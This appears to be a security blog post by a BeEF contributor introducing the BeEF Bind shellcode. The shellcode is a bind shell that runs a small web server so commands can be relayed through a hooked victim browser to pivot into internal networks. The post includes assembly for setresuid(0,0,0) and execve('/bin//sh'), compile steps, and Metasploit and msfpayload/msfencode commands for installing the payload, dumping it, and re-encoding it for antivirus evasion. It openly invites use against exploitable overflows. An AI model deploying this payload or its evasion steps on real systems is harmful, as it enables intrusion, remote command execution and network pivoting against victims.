Some time ago Michele blogged about the BeEF bind shellcode that Ty Miller wrote for the BeEF project. In the meantime we have committed the full source of this shellcode to the BeEF repository and it has been ported to Linux x86 and x64 as well. So, next time you find an exploitable overflow in an application, why not give BeEF Bind a try?
In contrast to the "classical" bind or reverse shell-shellcodes, BeEF bind makes use of Inter-Protocol Communication. This way it can be used in a very subtle way to pivot into a company's internal network by abusing a victim's hooked browser. To achieve this, our shellcode is in fact a small webserver that proxies all the commands back and forth between cmd.exe and the victim's browser. For making it more effective the CORS-header "Access-Control-Allow-Origin: *" has been added. This means that, when we make cross-domain AJAX calls towards it, we are able to read the response of the HTTP request without violating the Same Origin Policy.
The BeEF Bind shellcode exists of 2 parts: the Stager and the Stage. The Stager is a smaller piece of shellcode that allocates one page of executable memory and initializes a websocket that waits for a client connection before sending the actual payload: the Stage.
Once the client sends the data, the shell code scanning for the request gets processed. The Stager locates the Stage by searching for the string cmd= in memory, checking if the EBX register value points to it:
cmp dword [esi], 0x3d646d63 ;=dmc
The string indicates the start of the bytecode of the actual Stage. The Stager copies this bytecode to the allocated executable memory and then jumps into it.
The Stage initializes a server socket, as well.
Sets of OS pipes are created to redirect the input and output through cmd.exe (Windows) or /bin/sh (Linux). These pipes are used to pass and subsequently execute OS commands.
On Windows the Windows API CreateProcess is being called to execute the command. On Linux this is done with the setresuid and execve syscalls.
setresuid(0,0,0) xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xa4 ;sys_setresuid16 int 0x80
;execve("/bin//sh", 0, 0) xor eax, eax push eax push eax push 0x68732f2f ;//sh push 0x6e69622f ;/bin mov ebx, esp push BYTE 0x0b ;sys_execvepop eax int 0x80
So, when the client sends a request to the server
socket, the shellcode once again scans for the string cmd=. Everything after this string is sent to cmd.exe till we meet a CR/LF. Then, the result of the executed command is send back to the client.
|BeEF bind established|
Both linux and windows directories contain commented assembly-code of the shellcode as well as a small C-file "socket.c". With these small files a standalone version (for test or RCE) can be compiled with MinGW (Windows) or with GCC:
c:\MinGW\bin>gcc -o beefstager.exe beefstager.c
and then executed with:
or just with the default port 4444:
The msf directory contains the modules and the instructions (instructions.txt) on how you can use BeEF bind with the metaspoit framework. This comes in handy for re-encoding the shellcode for AV-evasion or just for coding out bad characters like the NULL-byte.
copy beef_bind-handler.rb %METASPLOIT_PATH%/lib/msf/core/handler/beef_bind.rb copy beef_bind-stage-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/windows/beef_shell.rb copy beef_bind-stager-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/windows/beef_bind.rb copy beef_bind-stage-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x86/beef_shell.rb copy beef_bind-stager-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x86/beef_bind.rb copy beef_bind-stage-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x64/beef_shell.rb copy beef_bind-stager-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x64/beef_bind.rb
Check it works:
msfpayload -l | grep beef_bind
Get info on the payload:
msfpayload windows/beef_shell/beef_bind S
Dump stager and stage in C format:
msfpayload windows/beef_shell/beef_bind C
Dump stager in raw format:
msfpayload windows/beef_shell/beef_bind R > beef_bind-stager
Encode stager to remove nulls:
msfpayload windows/beef_shell/beef_bind R | msfencode -b '\x00'
If you are interested in more information about attacking internal networks via the browser or about BeEF internals, Chapter 10 of "The Browser Hackers Handbook" discusses "Attacking Networks" and covers more of this kind of topic.
If you know of other good resources for browser hacking, or other BeEFy stuff, we would love to hear about them!
Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra